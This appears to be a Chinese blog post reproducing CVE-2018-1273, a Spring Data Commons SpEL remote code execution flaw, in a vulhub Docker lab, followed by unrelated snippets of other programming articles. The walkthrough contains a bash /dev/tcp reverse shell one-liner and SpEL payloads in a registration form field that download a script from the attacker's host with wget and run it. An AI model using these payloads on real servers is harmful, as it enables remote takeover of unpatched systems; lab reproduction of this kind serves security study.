Spring Data Commons远程命令执行漏洞复现(CVE-2018-1273)

news2025/4/6 1:02:43

一、漏洞说明
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。

Spring Data Commons组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。
二、影响版本
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
三、搭建环境
cd vulhub/spring/CVE-2018-1273
docker-compose up -d
在这里插入图片描述

四、漏洞复现
1.准备shell命令
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
写入文件shell.sh
在这里插入图片描述

2.开启http服务
在sh文件所在目录开启http服务
python -m http.server 8081
在这里插入图片描述在这里插入图片描述

3.抓包
访问http://192.168.25.128:8080/users,注册,BP抓包
在这里插入图片描述在这里插入图片描述

4.准备请求包
Payload:
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“【要执行的命令】”)]=&password=&repeatedPassword=
下载文件请求包:username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/usr/bin/wget -O /tmp/1.sh http://192.168.155.2:8081/shell.sh”)]&password=test&repeatedPassword=test
执行命令请求包:
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/bin/bash /tmp/1.sh”)]&password=test&repeatedPassword=test
5.nc开启监听
在这里插入图片描述

6.发送请求包
发送下载包
在这里插入图片描述

发现tmp里出现了1.sh
在这里插入图片描述在这里插入图片描述

发送执行包
在这里插入图片描述

7.反弹shell
在这里插入图片描述

注意:
wget正确用法:
使用 -O 选项以其他名称保存下载的文件
wget -O /usr/software https://download.redis.io/releases/redis-6.0.8.tar.gz

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/996082.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

快速学会git版本管理——创建分支和合并分支

首先创建分支 git创建分支只需要使用switch 命令: git switch -c 分支名 创建分支并切换到该分支 大家看后面的括号里已经变成了dev 说明我们切换成功了。 然后想要合并分支就在 创建的分支中 进行提交修改的内容,还是通过:add 命令和co…

EasyExcel入门(最简单的读)

官网:EasyExcel官方文档 - 基于Java的Excel处理工具 | Easy Excel (alibaba.com) 因为暂时项目没有用到,所以不急,知道了这个技术。就想着学着用一下! 最简单的读 先看官方文档给的用法和解释!!&#xff01…

开开心心带你学习MySQL数据库之第八篇

索引和事务 ~~ 数据库运行的原理知识 面试题 索引 索引(index) > 目录 索引存在的意义,就是为了加快查找速度!!(省略了遍历的过程) 查找速度是快了,但是付出了一定的代价!! 1.需要付出额外的空间代价来保存索引数据 2.索引可能会拖慢新增,删除,修改的速度 ~~ …

信息系统项目管理师(第四版)教材精读思维导图-第十四章项目沟通管理

请参阅我的另一篇文章,综合介绍软考高项: 信息系统项目管理师(软考高项)备考总结_计算机技术与软件专业技术_铭记北宸的博客-CSDN博客 本章思维导图XMind源文件 14.1 管理基础 14.2 管理过程 14.3 规划沟通管理 14.4 管理沟通 14.…

机器学习:使用PCA简化数据

文章目录 使用场景主成分分析(Principal component analysis)实验:对半导体数据(590个特征)进行降维处理 使用场景 我们通过电视看实况足球,电视显示屏有100万个像素点,球所占的点数为100个。人…

Collectors类作用:

一、Collectors类: 1.1、Collectors介绍 Collectors类,是JDK1.8开始提供的一个的工具类,它专门用于对Stream操作流中的元素各种处理操作,Collectors类中提供了一些常用的方法,例如:toList()、toSet()、to…

真的有线上兼职吗?推荐几个靠谱的线上兼职!

在这个互联网普及,信息爆炸的时代,线上赚钱已经成为一个热门的话题。每个人都想通过互联网赚钱,有些人得到钱,给普通人机会,给骗子一些机会,世界是两面,线上兼职赚钱的方式!有好有坏…

python中的继承

要理解继承首先要有父类和子类的概念,可以理解成子类从父类中继承父类的属性和方法 创建父类 class Pet:def __init__(self,name,age):self.name nameself.age agedef jump(self):print(self.name"在跳")创建子类 class Cat(Pet):pass mycatCat(&quo…

HTML的有序列表、无序列表、自定义列表

目录 背景: 过程: 无序列表: 简介: 代码展示: 效果展示:​ 无序列表: 简介: 效果展示:​ 自定义列表: 简介: 效果展示: 总结: 背景: 1.有序列表(Ordered List): 有序列表是最早的列表类型之一&#xff…

编译器02-词法分析

一:简述 词法分析含义:为了翻译语言,编译器把程序各种成分拆开,那如何拆,首先第一步就是将输入分解成一个个独立的单词(token),这一过程叫词法分析。 二:单词(token)分为哪些种类 保留字…

类和对象:构造函数,析构函数与拷贝构造函数

1.类的6个默认成员函数 如果一个类中什么成员都没有,简称为空类。 空类中真的什么都没有吗?并不是,任何类在什么都不写时,编译器会自动生成以下6个默认成员函数。 默认成员函数:用户没有显式实现,编译器…

MAC M1芯片安装mounty读写移动硬盘中的文件

因为移动硬盘中的文件是微软公司NTFS格式,MAC只支持自己的APFS或者HFS,与微软的NTFS不兼容,所以需要第三方的软件来支持读写硬盘中的文件,经过一上午的折腾,最终选择安装mounty这个免费的第三方软件 工具网址连接&am…

C++11 类型转换

#include<iostream> #include<string> using namespace std;//类型转换 void Insert(size_t pos, char ch) {size_t _size 5;//....int end _size - 1;while (end > pos) // end隐式类型转换{//_str[end 1] _str[end];--end;} } void Test1() {int i 1;// …

C++:内存管理

目录 学习目标 1. C/C内存分布 2. C/C动态内存管理 2.1 C动态内存管理 2.2 C动态内存管理&#xff1a; 3. operator new与operator delete函数 4. new和delete的实现原理 5. 定位new表达式 学习目标 1. C/C内存分布 2. C/C动态内存管理&#xff08;malloc,free 与new ,…

【深度学习实战—6】:基于Pytorch的血细胞图像分类(通用型图像分类程序)

✨博客主页&#xff1a;米开朗琪罗~&#x1f388; ✨博主爱好&#xff1a;羽毛球&#x1f3f8; ✨年轻人要&#xff1a;Living for the moment&#xff08;活在当下&#xff09;&#xff01;&#x1f4aa; &#x1f3c6;推荐专栏&#xff1a;【图像处理】【千锤百炼Python】【深…

SQL Server2022版本 + SSMS安装教程(手把手安装教程)

SqlServer安装步骤如下&#xff1a; 下载请点点我 1.选择Developer版 2.点击浏览器下载标志&#xff0c;找到SqlServer在文件夹的位置。 3.进入下面的界面&#xff1a;选择自定义版本 4.将下载的C盘的盘符改为D盘 5.点击安装–进入下一步&#xff0c;显示如下界面。 过…

构建知识库的核心要义,试试我的工具和方法吧!

对于企业来说&#xff0c;如果所有人员的知识和经验&#xff0c;都集中沉淀到统一的文档系统中&#xff0c;那么&#xff0c;久而久之&#xff0c;会形成一个丰富的知识和经验库。 在构建知识库之前&#xff0c;我们要先确定知识库范围包含&#xff1a;素材整理、问题提炼、知识…

【Selenium】webdriver.ChromeOptions()官方文档参数

Google官方Chrome文档&#xff0c;在此记录一下 Chrome Flags for Tooling Many tools maintain a list of runtime flags for Chrome to configure the environment. This file is an attempt to document all chrome flags that are relevant to tools, automation, benchm…

7、Spring之依赖注入源码解析(下)

resolveDependency()实现 该方法表示,传入一个依赖描述(DependencyDescriptor),该方法会根据该依赖描述从BeanFactory中找出对应的唯一的一个Bean对象。 @Nullable Object resolveDependency(DependencyDescriptor descriptor, @Nullable String requestingBeanName,@Null…

拦截器学习

什么是拦截器 Spring MVC 中的拦截器( Interceptor )类似于ServLet中的过滤器( Filter )&#xff0c;它主要用于拦截用户请求并作出相应的处理。例如通过拦截器可以进行权限验证、记录请求信息的日志、判断用户是否登录等。 工作原理 一个拦截器&#xff0c;只有 preHandle …